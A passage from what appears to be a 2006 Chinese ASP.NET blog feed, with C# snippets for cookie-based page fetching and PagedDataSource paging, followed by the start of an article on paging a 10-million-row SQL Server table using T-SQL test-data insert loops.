color=#0000ff>http://www.ucasp.net</FONT></U></SPAN></A></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">), cok); req.CookieContainer.Add(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Uri(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"><SPAN style="COLOR: #000000"><A href='http://www.ucasp.net");/'><U><FONT color=#0000ff>http://www.ucasp.net</FONT></U></SPAN></A></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">), cok1); req.CookieContainer.Add(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Uri(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"><SPAN style="COLOR: #000000"><A href='http://www.ucasp.net");/'><U><FONT color=#0000ff>http://www.ucasp.net</FONT></U></SPAN></A></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">), cok2); HttpWebResponse res </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> (HttpWebResponse)req.GetResponse(); System.IO.Stream resData </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> res.GetResponseStream() ; System.IO.StreamReader reader </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> System.IO.StreamReader(resData, System.Text.Encoding.GetEncoding(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">gb2312</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)); </SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000"> content </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> reader.ReadToEnd(); Response.Write(content)</SPAN></DIV></PRE><img src="http://chinait.com.cn/aggbug.aspx?PostID=1030" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/11/27/1018.aspxMon, 27 Nov 2006 02:13:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10181http://chinait.com.cn/blogs/servucn/comments/1018.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1018<DIV>Repeater和DataList控件提供了一个快速、灵活的表现数据的方式，但是，它们没有内建的分页功能；DataGrid控件提供了内建的分页功能，但它的结构比较复杂。下面就用PagedDataSource类实现Repeater和DataList的分页。 PagedDataSource封装了DataGrid的分页属性，我们可以象DataGrid那样进行分页。代码如下：</DIV> <P>C#版本&nbsp;</P> <DIV>&nbsp;</DIV> <DIV></DIV><PRE></PRE><PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><DIV><SPAN style="COLOR: #000000"> DataTable table </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> AdminUserBLL().ListAdmin(); PagedDataSource objPage </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> PagedDataSource(); objPage.AllowPaging </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">; objPage.DataSource </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> table.DefaultView; objPage.PageSize </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">10</SPAN><SPAN style="COLOR: #000000">; </SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000"> CurPage; </SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000"> (Request.QueryString[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Page</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">] </SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">) { CurPage </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> Convert.ToInt32(Request.QueryString[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Page</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]); } </SPAN><SPAN style="COLOR: #0000ff">else</SPAN><SPAN style="COLOR: #000000"> { CurPage </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">; } objPage.CurrentPageIndex </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> CurPage </SPAN><SPAN style="COLOR: #000000">-</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">; lblCurrentPage.Text </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">当前页：</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> CurPage.ToString()</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">/共</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">objPage.PageCount.ToString()</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">页</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">; </SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000"> (</SPAN><SPAN style="COLOR: #000000">!</SPAN><SPAN style="COLOR: #000000">objPage.IsFirstPage) { lnkPrev.Text </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;a href=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> Request.CurrentExecutionFilePath </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">?Page=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> Convert.ToString(CurPage </SPAN><SPAN style="COLOR: #000000">-</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">) </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;上一页&lt;/a&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">; } </SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000"> (</SPAN><SPAN style="COLOR: #000000">!</SPAN><SPAN style="COLOR: #000000">objPage.IsLastPage) { lnkNext.Text </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;a href=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> Request.CurrentExecutionFilePath </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">?Page=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> Convert.ToString(CurPage </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">) </SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;下一页&lt;/a&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">; } User_List.DataSource </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> objPage; User_List.DataBind();</SPAN></DIV></PRE><img src="http://chinait.com.cn/aggbug.aspx?PostID=1018" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/11/25/1016.aspxSat, 25 Nov 2006 05:58:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10160http://chinait.com.cn/blogs/servucn/comments/1016.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1016<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">随着“金盾工程”建设的逐步深入和公安信息化的高速发展，公安计算机应用系统被广泛应用在各警种、各部门。与此同时，应用系统体系的核心、系统数据的存放地</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体">――</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">数据库也随着实际应用而急剧膨胀，一些大规模的系统，如人口系统的数据甚至超过了<SPAN>1000</SPAN>万条，可谓海量。那么，如何实现快速地从这些超大容量的数据库中提取数据（查询）、分析、统计以及提取数据后进行数据分页已成为各地系统管理员和数据库管理员亟待解决的难题。<SPAN><o:p></o:p></SPAN></SPAN></P> <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt"> <P class=MsoNormal style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN: 0cm 0cm 0pt; BORDER-LEFT: medium none; TEXT-INDENT: 32.25pt; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-bottom-alt: solid windowtext .75pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">在以下的文章中，我将以“办公自动化”系统为例，探讨如何在有着<SPAN>1000</SPAN>万条数据的<SPAN>MS SQL SERVER</SPAN>数据库中实现快速的数据提取和数据分页。以下代码说明了我们实例中数据库的“红头文件”一表的部分数据结构：<SPAN><o:p></o:p></SPAN></SPAN></P></DIV> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">CREATE TABLE [dbo].[TGongwen] (<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>--TGongwen</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">是红头文件表名<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN>[Gid] [int] IDENTITY (1, 1) NOT NULL ,<BR>--</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">本表的<SPAN>id</SPAN>号，也是主键<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN>[title] [varchar] (80) COLLATE Chinese_PRC_CI_AS NULL ,<SPAN style="mso-spacerun: yes">&nbsp; </SPAN><BR>--</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">红头文件的标题<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN>[fariqi] [datetime] NULL ,<BR>--</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">发布日期<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN>[neibuYonghu] [varchar] (70) COLLATE Chinese_PRC_CI_AS NULL ,<BR>--</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">发布用户<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN>[reader] [varchar] (900) COLLATE Chinese_PRC_CI_AS NULL ,<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">--</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">需要浏览的用户。每个用户中间用分隔符“<SPAN>,</SPAN>”分开<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">GO<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">下面，我们来往数据库中添加<SPAN>1000</SPAN>万条数据：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @i int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @i=1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">while @i&lt;=250000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>insert into Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-2-5','</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">通信科<SPAN>','</SPAN>通信科<SPAN>,</SPAN>办公室<SPAN>,</SPAN>王局长<SPAN>,</SPAN>刘局长<SPAN>,</SPAN>张局长<SPAN>,admin,</SPAN>刑侦支队<SPAN>,</SPAN>特勤支队<SPAN>,</SPAN>交巡警支队<SPAN>,</SPAN>经侦支队<SPAN>,</SPAN>户政科<SPAN>,</SPAN>治安支队<SPAN>,</SPAN>外事科<SPAN>','</SPAN>这是最先的<SPAN>25</SPAN>万条记录<SPAN>')<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>set @i=@i+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">GO<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @i int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @i=1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">while @i&lt;=250000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>insert into Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-9-16','</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">办公室<SPAN>','</SPAN>办公室<SPAN>,</SPAN>通信科<SPAN>,</SPAN>王局长<SPAN>,</SPAN>刘局长<SPAN>,</SPAN>张局长<SPAN>,admin,</SPAN>刑侦支队<SPAN>,</SPAN>特勤支队<SPAN>,</SPAN>交巡警支队<SPAN>,</SPAN>经侦支队<SPAN>,</SPAN>户政科<SPAN>,</SPAN>外事科<SPAN>','</SPAN>这是中间的<SPAN>25</SPAN>万条记录<SPAN>')<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>set @i=@i+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">GO<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @h int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @h=1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">while @h&lt;=100<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @i int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @i=2002<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">while @i&lt;=2003<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 56pt; mso-char-indent-count: 4.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @j int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>set @j=0<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>while @j&lt;50<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 84pt; mso-char-indent-count: 6.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @k int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>set @k=0<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>while @k&lt;50<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>insert into Tgongwen(fariqi,neibuyonghu,reader,title) values(cast(@i as varchar(4))+'-8-15 3:'+cast(@j as varchar(2))+':'+cast(@j as varchar(2)),'</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">通信科<SPAN>','</SPAN>办公室<SPAN>,</SPAN>通信科<SPAN>,</SPAN>王局长<SPAN>,</SPAN>刘局长<SPAN>,</SPAN>张局长<SPAN>,admin,</SPAN>刑侦支队<SPAN>,</SPAN>特勤支队<SPAN>,</SPAN>交巡警支队<SPAN>,</SPAN>经侦支队<SPAN>,</SPAN>户政科<SPAN>,</SPAN>外事科<SPAN>','</SPAN>这是最后的<SPAN>50</SPAN>万条记录<SPAN>')<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>set @k=@k+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 56pt; mso-char-indent-count: 4.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @j=@j+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @i=@i+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @h=@h+1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">end<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">GO<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">declare @i int<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">set @i=1<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">while @i&lt;=9000000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">begin<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>insert into 